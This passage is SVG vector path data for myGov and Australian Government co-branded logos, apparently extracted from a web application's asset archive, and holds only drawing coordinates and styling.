d="M171.48,57.26v.58a.28.28,0,0,0,.27.28h2.09a.29.29,0,0,0,.28-.28v-.63a1.3,1.3,0,0,0,.42-1c0-2-1.11-.12-1.72-1.8-.44,1.42-1.77.23-1.77,1.75a1.2,1.2,0,0,0,.43,1.1Zm1.23-1.71c.57,0,1.47-.21,1.47.75,0,.68-.78.29-1.35.29s-1.35.39-1.35-.29c0-1,.66-.75,1.23-.75Z" transform="translate(-23 -22)"/><path class="cls-1" d="M191.66,80.36a.8.8,0,1,0,0-1.59.8.8,0,1,0,0,1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.42,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.52,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.75,52.53a.45.45,0,0,0,.42-.47s-.43-.85-.43-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M173,52.53a.45.45,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85.45.45,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.19,52.53a.45.45,0,0,0,.43-.47s-.43-.85-.43-.85a4.75,4.75,0,0,0-.43.85.46.46,0,0,0,.43.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,62a.46.46,0,0,0,.43.47A.45.45,0,0,0,159,62a5.17,5.17,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M158.09,71.62a.46.46,0,0,0,.43.47.45.45,0,0,0,.43-.47,4.8,4.8,0,0,0-.42-.85s-.44.83-.44.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.25,79.24a.45.45,0,0,0,.42.47.46.46,0,0,0,.44-.47,5,5,0,0,0-.43-.84l-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M165.31,83.3a.43.43,0,1,0,.86,0,5.12,5.12,0,0,0-.43-.85l-.43.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M187.36,71.62a.45.45,0,0,0,.43.47.46.46,0,0,0,.43-.47s-.44-.85-.44-.85a4.8,4.8,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M186.2,79.24a.43.43,0,1,0,.86,0l-.44-.84a5,5,0,0,0-.42.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M180.14,83.3a.45.45,0,0,0,.43.48.46.46,0,0,0,.43-.48l-.44-.85a5.17,5.17,0,0,0-.42.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M172.76,87.6a.43.43,0,1,0,.86,0l-.43-.84a5,5,0,0,0-.43.84Z" transform="translate(-23 -22)"/><path class="cls-1" d="M179.89,75.35c-.4.83-.4,2-1.35,2.43a.75.75,0,0,0-.28.73l.23.19c.59-.32,1.72-.42,1.64-1.42a3.42,3.42,0,0,1,.86-1.19.94.94,0,0,1,1,.5A1.8,1.8,0,0,1,180.8,78c-.08.09,0,.23,0,.37.18.32.68.18,1,.14.77-.51,1.09-1.42,1.77-1.7.09.46-.91.6-.27,1,.41-.09.95.05,1.23-.5-.32-.78,1.08-1.14.22-1.83,0-.68.73-1,.69-1.69-.28-.74-1.14-.74-1.37-1.42a1,1,0,0,1,.95,0c.09.14.32.18.61.08l.27-.78c0-.05-.31-.36-.51-.31-.77.18-1.59.28-2.05,1a1.53,1.53,0,0,0,.73,1.19c.27-.09.32.18.5.32a.32.32,0,0,1-.32.41c-.54-.55-1.5.18-1.91-.5.19-.69.55-1.47,0-2.11,0-.14.27-.27.14-.41-.23-.64-.92-.14-1.33-.14a1.77,1.77,0,0,0-1.64.82,1.35,1.35,0,0,0,.37.69c.18,0,.27,0,.32.19l-.46.27a.9.9,0,0,1,.18.51c-.31.13-.63-.33-.77-.56s.05-1-.45-1.1a2,2,0,0,0-.4.14,1.32,1.32,0,0,0-.18.76,3.21,3.21,0,0,0,.17.81,7.69,7.69,0,0,1,1.72,1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M151.74,79.12a.8.8,0,1,0,0,1.59.8.8,0,1,0,0-1.59Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104,107.23a.89.89,0,1,0,.89-.85.87.87,0,0,0-.89.85Z" transform="translate(-23 -22)"/><path class="cls-1" d="M145.86,122.61l0,.2,2-.23,0-.21c-.32,0-.79,0-.83-.25a4.87,4.87,0,0,1,.31-1.1l2.18-.26a4.48,4.48,0,0,1,.57,1c0,.28-.14.3-.74.41l0,.21,3.15-.37,0-.2c-.47.07-.65-.19-1.19-1l-2.66-4-.27,0-1.64,4.7c-.22.65-.32.94-.84,1.07Zm2.23-4,1.21,1.86-1.89.23.68-2.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M542,109.18H547v-19a13.49,13.49,0,0,1,3.47-2.93,7.75,7.75,0,0,1,4-1.16,5.33,5.33,0,0,1,4.28,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17q0-5.28-2.42-8t-7-2.72a10.6,10.6,0,0,0-5.35,1.3,14.06,14.06,0,0,0-4.12,3.6l.7,1.46V82.05H542v27.13Zm22.87-19a15.51,15.51,0,0,1,3.64-2.88,8.36,8.36,0,0,1,4.22-1.16,5.26,5.26,0,0,1,4.23,1.67c1,1.11,1.42,2.84,1.42,5.17v16.2h5.06v-17c0-3.52-.8-6.19-2.42-8s-4-2.72-7-2.72a11.65,11.65,0,0,0-5.52,1.27,18.28,18.28,0,0,0-4.66,3.63l1,3.77Zm26.43,30.63a9.9,9.9,0,0,0,7-2.59q2.81-2.58,5.06-8.45l11.09-27.72H609l-7.65,20.19-8.61-20.19h-5.6l12.22,27.56.11-3.55-1,2.58a14.29,14.29,0,0,1-3.66,5.79,7.28,7.28,0,0,1-4.79,1.69h-.27l1,4.69Zm54.07-12a31.32,31.32,0,0,0,6.43-2.58V90h-13v4.79h7.64v7.8a18.29,18.29,0,0,1-3.82,1.38,22.55,22.55,0,0,1-5.22.51,14.62,14.62,0,0,1-7.35-1.81,12.63,12.63,0,0,1-5-5.06,15.45,15.45,0,0,1-1.77-7.5A16,16,0,0,1,625,82.54a12.88,12.88,0,0,1,4.74-5.09,12.64,12.64,0,0,1,6.65-1.8,12.24,12.24,0,0,1,6.16,1.48,16.46,16.46,0,0,1,4.66,4l4.3-3.29a18.21,18.21,0,0,0-6.35-5.43,18.56,18.56,0,0,0-8.72-2,19,19,0,0,0-9.58,2.45A17.69,17.69,0,0,0,620,79.82a20.9,20.9,0,0,0-2.5,10.31,20.6,20.6,0,0,0,2.48,10.2,17.43,17.43,0,0,0,7,6.91,21.2,21.2,0,0,0,10.41,2.48,30.08,30.08,0,0,0,7.94-.92Zm35.34-.88a13,13,0,0,0,5.11-5,15.46,15.46,0,0,0,0-14.59,12.94,12.94,0,0,0-5.11-5,16.38,16.38,0,0,0-15,0,13.08,13.08,0,0,0-5.14,5,15.19,15.19,0,0,0,0,14.53,13.11,13.11,0,0,0,5.14,5,16.46,16.46,0,0,0,15,0Zm-12.22-4.12a8.42,8.42,0,0,1-3.28-3.31,10.56,10.56,0,0,1,0-9.74,8.38,8.38,0,0,1,3.28-3.32,10.09,10.09,0,0,1,9.47,0,8.32,8.32,0,0,1,3.26,3.29,10.8,10.8,0,0,1,0,9.74A8.25,8.25,0,0,1,678,103.8a10.15,10.15,0,0,1-9.5,0Zm32.19,5.38h4.52l11.3-27.13h-5.33l-9,22.45h1.62l-8.88-22.45h-5.6l11.36,27.13Z" transform="translate(-23 -22)"/></svg>mygov/app/sms_files/myGov-cobranded-logo-white.svg000064400000175214151676702570016320 0ustar00<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 693.47 150.57"><defs><style>.cls-1{fill:#fff;}</style></defs><path class="cls-1" d="M420,22.09a8.76,8.76,0,0,0-8.76,8.76V53.51L455,97.33l-43.82,43.81v22.67A8.75,8.75,0,0,0,426.12,170l72.71-72.69L426.15,24.65a8.75,8.75,0,0,0-6.2-2.56Z" transform="translate(-23 -22)"/><path class="cls-1" d="M382.31,24.63a8.76,8.76,0,0,0-14.93,6.22V163.78a8.76,8.76,0,0,0,15,6.18l28.81-28.82V53.51L382.31,24.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M42.11,167.84,34.5,150.55h-.29l-7.54,16.82a12.72,12.72,0,0,1-1.81,3.19,3.17,3.17,0,0,1-1.86.94v.57h7v-.57a6,6,0,0,1-2.07-.38,1.4,1.4,0,0,1-.71-1.31,4.58,4.58,0,0,1,.43-1.69l.89-2.05H36l1.12,2.63c.29.68.44,1.07.46,1.16a2,2,0,0,1,.1.58.82.82,0,0,1-.35.71,3.13,3.13,0,0,1-1.72.35h-.42v.57h10.2v-.57a2.41,2.41,0,0,1-1.49-.57,10.4,10.4,0,0,1-1.79-3.09Zm-13-2.92,3.24-7.26,3.14,7.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M58.31,168.92V157.53H52.39v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v7.77a6.46,6.46,0,0,1-1.49,1.63,1.79,1.79,0,0,1-1,.3,1.28,1.28,0,0,1-.75-.23,1.38,1.38,0,0,1-.46-.69,8.14,8.14,0,0,1-.15-2v-9.93H44.18v.58a1.86,1.86,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v5.76a13,13,0,0,0,.33,3.54,3.72,3.72,0,0,0,1.27,1.77,3.49,3.49,0,0,0,2.19.74,4.75,4.75,0,0,0,2.33-.56A7.51,7.51,0,0,0,54,170.13v1.94h5.93v-.56a1.82,1.82,0,0,1-1.27-.51,4.34,4.34,0,0,1-.31-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M67.32,162.68a15.49,15.49,0,0,1-2.78-2.19,1.29,1.29,0,0,1-.31-.81,1.33,1.33,0,0,1,.45-1,1.54,1.54,0,0,1,1.09-.43,3.25,3.25,0,0,1,2,.81,7.72,7.72,0,0,1,2,3h.54l-.24-5h-.53a3.33,3.33,0,0,1-.55.67.92.92,0,0,1-.44.1,1.46,1.46,0,0,1-.69-.23,5,5,0,0,0-2.29-.58,4.23,4.23,0,0,0-3.36,1.37,4.6,4.6,0,0,0-1.14,3,4.38,4.38,0,0,0,1,2.81,16.4,16.4,0,0,0,3.08,2.52,11.42,11.42,0,0,1,2.08,1.65,1.92,1.92,0,0,1,.47,1.29,1.53,1.53,0,0,1-.48,1.12,1.67,1.67,0,0,1-1.22.45,3.69,3.69,0,0,1-2.31-1,6.7,6.7,0,0,1-1.91-3.08h-.53l.25,5.23H62c.23-.52.51-.78.85-.78a2.06,2.06,0,0,1,.64.17,8.65,8.65,0,0,0,2.79.66,5,5,0,0,0,2.44-.63,4.32,4.32,0,0,0,1.71-1.78,5.07,5.07,0,0,0,.6-2.39,4.2,4.2,0,0,0-.73-2.41,11.08,11.08,0,0,0-3-2.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M77.76,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54H73.4v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.68,3.68,0,0,0,2.35.76,4.25,4.25,0,0,0,4.09-3l-.47-.34c-.6,1-1.24,1.54-1.91,1.54a.93.93,0,0,1-.55-.22,1.24,1.24,0,0,1-.41-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H77.76v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M92.94,157.1a3.8,3.8,0,0,0-2.1.74,10.67,10.67,0,0,0-2.53,3v-3.3H82.37v.58a2.36,2.36,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8a4.78,4.78,0,0,1-.35,2.35,1.69,1.69,0,0,1-1.27.51v.56h7.85v-.56a3.48,3.48,0,0,1-1.24-.23,1.36,1.36,0,0,1-.55-.63,3.58,3.58,0,0,1-.11-1.13v-4.21A10.59,10.59,0,0,1,88.8,162a3.22,3.22,0,0,1,1-1.51,1.29,1.29,0,0,1,.86-.34.68.68,0,0,1,.35.09c.07,0,.31.24.72.59a2.11,2.11,0,0,0,1.43.53,1.55,1.55,0,0,0,1.21-.57,2.39,2.39,0,0,0,.52-1.62,2,2,0,0,0-.54-1.51,1.77,1.77,0,0,0-1.38-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M107.85,170.28a.56.56,0,0,1-.36-.12.79.79,0,0,1-.23-.38,6,6,0,0,1-.08-1.26v-5.64a12.51,12.51,0,0,0-.22-3,4,4,0,0,0-1.57-1.9,5.39,5.39,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.5,5.5,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.82,1.82,0,0,0,.66,1.39,2.38,2.38,0,0,0,1.64.58,2.07,2.07,0,0,0,1.48-.52,1.75,1.75,0,0,0,.58-1.31,2,2,0,0,0-.6-1.29,1.34,1.34,0,0,1-.43-.81.77.77,0,0,1,.4-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.61,1.61,0,0,1,.66.75,6.5,6.5,0,0,1,.19,2.07v1.46a26.31,26.31,0,0,0-6.23,3.55,4,4,0,0,0-1.43,3,2.76,2.76,0,0,0,.82,2.05,2.84,2.84,0,0,0,2.07.81q2.1,0,4.77-2.35a2.72,2.72,0,0,0,.86,1.78,3,3,0,0,0,1.94.57,3.49,3.49,0,0,0,1.88-.51,5.94,5.94,0,0,0,1.62-1.68l-.46-.37a1.13,1.13,0,0,1-.83.57Zm-5-1.49a3,3,0,0,1-1.8.87,1.45,1.45,0,0,1-1.09-.42,1.79,1.79,0,0,1-.52-1.26,2.93,2.93,0,0,1,.61-1.7,9,9,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.48,169.05V151h-6.1v.58a1.9,1.9,0,0,1,1.39.5,3.47,3.47,0,0,1,.35,1.94v15.05a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a2,2,0,0,1-1.4-.48,3.53,3.53,0,0,1-.35-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.74,152.9a2.39,2.39,0,0,0,2.39,2.39,2.32,2.32,0,0,0,1.7-.7,2.4,2.4,0,0,0-1.7-4.1,2.25,2.25,0,0,0-1.69.71,2.3,2.3,0,0,0-.7,1.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M124.31,169.05V157.53h-6.1v.58a1.9,1.9,0,0,1,1.39.49,3.44,3.44,0,0,1,.35,2v8.49a3.46,3.46,0,0,1-.31,1.9,1.9,1.9,0,0,1-1.43.56v.56h7.85v-.56a1.94,1.94,0,0,1-1.39-.48,3.5,3.5,0,0,1-.36-2Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.55,170.28a.55.55,0,0,1-.35-.12.67.67,0,0,1-.23-.38,5.11,5.11,0,0,1-.09-1.26v-5.64a12.71,12.71,0,0,0-.21-3,4,4,0,0,0-1.57-1.9,5.37,5.37,0,0,0-3.26-.88,9.85,9.85,0,0,0-3.3.54,5.55,5.55,0,0,0-2.48,1.57,3.18,3.18,0,0,0-.88,2.13,1.81,1.81,0,0,0,.65,1.39,2.41,2.41,0,0,0,1.65.58,2.09,2.09,0,0,0,1.48-.52,1.74,1.74,0,0,0,.57-1.31,2,2,0,0,0-.59-1.29,1.36,1.36,0,0,1-.44-.81.79.79,0,0,1,.41-.65,2.87,2.87,0,0,1,1.66-.45,2,2,0,0,1,1.13.32,1.64,1.64,0,0,1,.67.75,7,7,0,0,1,.18,2.07v1.46a26.67,26.67,0,0,0-6.24,3.55,4,4,0,0,0-1.43,3,2.77,2.77,0,0,0,.83,2.05,2.8,2.8,0,0,0,2.07.81c1.4,0,3-.78,4.77-2.35a2.71,2.71,0,0,0,.85,1.78,3,3,0,0,0,1.94.57,3.52,3.52,0,0,0,1.89-.51,5.94,5.94,0,0,0,1.62-1.68l-.47-.37c-.28.38-.55.57-.83.57Zm-5-1.49a3,3,0,0,1-1.81.87,1.42,1.42,0,0,1-1.08-.42,1.74,1.74,0,0,1-.51-1.26,2.91,2.91,0,0,1,.6-1.7,9.17,9.17,0,0,1,2.8-2.36v4.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M155.31,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.69,3.69,0,0,0-1.25-1.94,3.47,3.47,0,0,0-2.34-.79,4.46,4.46,0,0,0-2.21.56,8.39,8.39,0,0,0-2.15,1.75v-1.88h-5.92v.58a1.86,1.86,0,0,1,1.26.52,4.18,4.18,0,0,1,.31,2.06v8.21a4.27,4.27,0,0,1-.27,2,1.79,1.79,0,0,1-1.3.59v.56h7.36v-.56a1.58,1.58,0,0,1-1.14-.54,4.38,4.38,0,0,1-.3-2.07v-7.79q1.15-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.29,1.29,0,0,1,.48.71,10,10,0,0,1,.15,2.26v6.47a4.29,4.29,0,0,1-.26,1.92,1.5,1.5,0,0,1-1.17.69v.56h7.35v-.56a1.85,1.85,0,0,1-1.28-.51,4.61,4.61,0,0,1-.29-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M177.74,163.8h.55a2.73,2.73,0,0,1,1.29.29,1.6,1.6,0,0,1,.71.67,4.49,4.49,0,0,1,.17,1.6v4.39a10.9,10.9,0,0,1-1.65.48,8.24,8.24,0,0,1-1.55.16,6.65,6.65,0,0,1-3.8-1.08,6.12,6.12,0,0,1-2.3-3.35,17.83,17.83,0,0,1-.71-5.33,18.58,18.58,0,0,1,.65-4.88,7.24,7.24,0,0,1,2.22-3.7,5.87,5.87,0,0,1,3.94-1.33,7.3,7.3,0,0,1,4.55,1.58,9.37,9.37,0,0,1,3.13,4.64h.58V150.5h-.58a2.87,2.87,0,0,1-.69,1.22,1.24,1.24,0,0,1-.8.31,8.9,8.9,0,0,1-1.82-.58,13.93,13.93,0,0,0-2.21-.71,14.32,14.32,0,0,0-2.83-.25,11.51,11.51,0,0,0-8.41,3.28,10.8,10.8,0,0,0-3.34,8,10.55,10.55,0,0,0,1.08,4.8,10.2,10.2,0,0,0,2.37,3,12.76,12.76,0,0,0,3.5,2.15,13.29,13.29,0,0,0,5,.81,21.59,21.59,0,0,0,4.52-.47,20.56,20.56,0,0,0,4.22-1.35v-4.39a4.57,4.57,0,0,1,.14-1.45,1.56,1.56,0,0,1,.7-.79,4.44,4.44,0,0,1,1.63-.32v-.58H177.74v.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M199.14,158.07a6.78,6.78,0,0,0-3.53-1,5.93,5.93,0,0,0-5,2.33,8.55,8.55,0,0,0-1.81,5.44,8.44,8.44,0,0,0,1.78,5.33,6,6,0,0,0,5,2.3A6.23,6.23,0,0,0,200.9,170a8.41,8.41,0,0,0,1.57-5.18,9.18,9.18,0,0,0-.86-4,6.25,6.25,0,0,0-2.47-2.78Zm-1.56,11.49a2.58,2.58,0,0,1-.8,1.48,1.76,1.76,0,0,1-1.17.39,1.7,1.7,0,0,1-1.27-.58,3,3,0,0,1-.74-1.68,21.43,21.43,0,0,1-.22-3.1c0-2.1.06-3.73.18-4.9a4.12,4.12,0,0,1,.75-2.36,1.8,1.8,0,0,1,1.36-.61,1.62,1.62,0,0,1,1.06.33,2.71,2.71,0,0,1,.87,1.44,14.56,14.56,0,0,1,.3,3.63,34.05,34.05,0,0,1-.32,6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.34,157.53h-4.76v.58a2,2,0,0,1,1.22.33,1,1,0,0,1,.36.78,9.38,9.38,0,0,1-.82,2.87l-1.91,4.71-2.4-5.46a7.13,7.13,0,0,1-.68-2.16,1.06,1.06,0,0,1,.37-.81,1.45,1.45,0,0,1,1-.26v-.58H202v.58a1.79,1.79,0,0,1,1,.54,10.58,10.58,0,0,1,1.39,2.58l4.9,11.28h.73l4.85-11.42a9.4,9.4,0,0,1,1.31-2.47,1.91,1.91,0,0,1,1.12-.51v-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227,158.91a5,5,0,0,0-3.83-1.81,6.09,6.09,0,0,0-4.62,2.16,8.26,8.26,0,0,0-2,5.78,8.81,8.81,0,0,0,1.34,5,5.52,5.52,0,0,0,4.9,2.48,5.65,5.65,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.75-5.37Zm-6.3,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.31,1.31,0,0,1,.87.27,2.81,2.81,0,0,1,.84,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240.3,157.1a3.75,3.75,0,0,0-2.09.74,10.5,10.5,0,0,0-2.54,3v-3.3h-5.94v.58a2.28,2.28,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8A4.82,4.82,0,0,1,231,171a1.7,1.7,0,0,1-1.28.51v.56h7.86v-.56a3.49,3.49,0,0,1-1.25-.23,1.29,1.29,0,0,1-.54-.63,3.58,3.58,0,0,1-.11-1.13l0-.87v-3.34a10.58,10.58,0,0,1,.5-3.33,3.15,3.15,0,0,1,1-1.51,1.28,1.28,0,0,1,.85-.34.74.74,0,0,1,.36.09,8.94,8.94,0,0,1,.71.59,2.13,2.13,0,0,0,1.43.53,1.57,1.57,0,0,0,1.22-.57,2.44,2.44,0,0,0,.51-1.62,2,2,0,0,0-.53-1.51,1.79,1.79,0,0,0-1.39-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M257.27,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.67,3.67,0,0,0-1.24-1.94,3.5,3.5,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.37,8.37,0,0,0-2.14,1.75v-1.88h-5.93v.58a1.83,1.83,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.82,1.82,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.57,4.57,0,0,1-.29-2.07v-7.79q1.15-1.92,2.49-1.92a1.14,1.14,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.82,1.82,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M283,168.9v-6a12,12,0,0,0-.35-3.39,3.54,3.54,0,0,0-1.24-1.75,3.78,3.78,0,0,0-2.4-.7,4.94,4.94,0,0,0-2.4.62,9.2,9.2,0,0,0-2.38,2,3.74,3.74,0,0,0-3.81-2.64,4.74,4.74,0,0,0-2.24.53,8,8,0,0,0-2.2,1.81v-1.91H260v.58a1.81,1.81,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v8.21a4.33,4.33,0,0,1-.26,2,1.82,1.82,0,0,1-1.31.59v.56h7.5v-.56a1.62,1.62,0,0,1-1.28-.58,4.53,4.53,0,0,1-.29-2v-7.81a6,6,0,0,1,1.56-1.65,2.08,2.08,0,0,1,1.13-.33,1.21,1.21,0,0,1,.77.29,1.43,1.43,0,0,1,.53.77,10.93,10.93,0,0,1,.16,2.48v6.25a6.37,6.37,0,0,1-.13,1.66,1.27,1.27,0,0,1-.46.65,1.65,1.65,0,0,1-.95.3v.56h7.53v-.56a1.61,1.61,0,0,1-1.37-.64,4.36,4.36,0,0,1-.27-2v-7.81a6.14,6.14,0,0,1,1.39-1.46,2.28,2.28,0,0,1,1.35-.5,1.19,1.19,0,0,1,.78.27,1.4,1.4,0,0,1,.49.77,11.17,11.17,0,0,1,.16,2.48v6.25a4,4,0,0,1-.28,1.92,1.66,1.66,0,0,1-1.31.69v.56h7.51v-.56a1.86,1.86,0,0,1-1.27-.53,4.29,4.29,0,0,1-.3-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M295.7,158.91a4.94,4.94,0,0,0-3.82-1.81,6.09,6.09,0,0,0-4.62,2.16,8.21,8.21,0,0,0-1.95,5.78,8.81,8.81,0,0,0,1.33,5,5.51,5.51,0,0,0,4.9,2.48,5.69,5.69,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.76-5.37Zm-6.29,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.28,1.28,0,0,1,.86.27,2.82,2.82,0,0,1,.85,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M312.14,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.73,3.73,0,0,0-1.24-1.94,3.48,3.48,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.2,8.2,0,0,0-2.14,1.75v-1.88H298v.58a1.81,1.81,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.8,1.8,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.42,4.42,0,0,1-.29-2.07v-7.79q1.14-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.8,1.8,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M319.9,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54h1.89v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.66,3.66,0,0,0,2.35.76,4.26,4.26,0,0,0,4.09-3l-.46-.34c-.61,1-1.24,1.54-1.92,1.54a.88.88,0,0,1-.54-.22,1.19,1.19,0,0,1-.42-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H319.9v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M148,113.37l-.4.4a1,1,0,0,0,.4-.4Z" transform="translate(-23 -22)"/><path class="cls-1" d="M152.35,84.13a.76.76,0,1,0-.76.77.77.77,0,0,0,.76-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.43,52.72h0l0,22.16c0,2.14.9,4,2.15,4.58l10.55,6.3a1.26,1.26,0,0,0,1.82.1l10.71-6.4c1.26-.57,2.16-2.44,2.16-4.58l0-22.16H159.43Zm4.51,2.14.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.09v.47l-.4-.3-.41.3v-.47l-.43-.09.34-.35-.21-.39Zm-.12,5c.8,0,.57.77.71.77s0-.77.52-.77c.79,0,1.78,2,.88,2-.38,0-.07-.28-.08-.34s-.21-.18-.29-.18c-.26,0-.36.42-.58.44s-.26,0-.26-.18.32-.25.45-.37c-1.79,0-1.82.81-2.09.81-.47,0,.39-.86.63-1.11-.36-.06-.57-.5-1-.72.18-.27.29-.16.52,0,0-.19.14-.4.55-.4Zm0,6.75.34-.35-.21-.39.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.08v.48l-.4-.3-.41.3v-.48l-.43-.08Zm-3.6-13.13h2.89v5.68h-2.89V53.47Zm.35,7.65.34-.35-.21-.38.44,0,.26-.47.27.46.45,0-.22.38.34.35-.43.09v.48l-.41-.31-.4.31v-.48l-.43-.09Zm-.35,1.68h2.89v5.38h-2.89V62.8Zm8.34,19.94L162,78.82a4.7,4.7,0,0,1-1.78-3.65V68.93h8.34V82.74Zm0-14.56h-2.37V62.8h2.37v5.38ZM167,60.39l.44,0,.27-.47.26.46.45,0-.21.38.34.35-.44.09v.48l-.4-.31-.41.31v-.48l-.43-.09.34-.35-.21-.38Zm1.59-1.24h-2.37V53.47h2.37v5.68Zm8.46,24L174,85h-.05a1.24,1.24,0,0,1-.8.29,1.27,1.27,0,0,1-.8-.3l-3-1.8V68.93H177V83.19Zm0-15H169.3V53.47H177V68.18Zm9.09,7a4.66,4.66,0,0,1-1.78,3.65l-6.57,3.92V68.93h8.35v6.24Zm0-7h-8.35V53.47h8.35V68.18Z" transform="translate(-23 -22)"/><path class="cls-1" 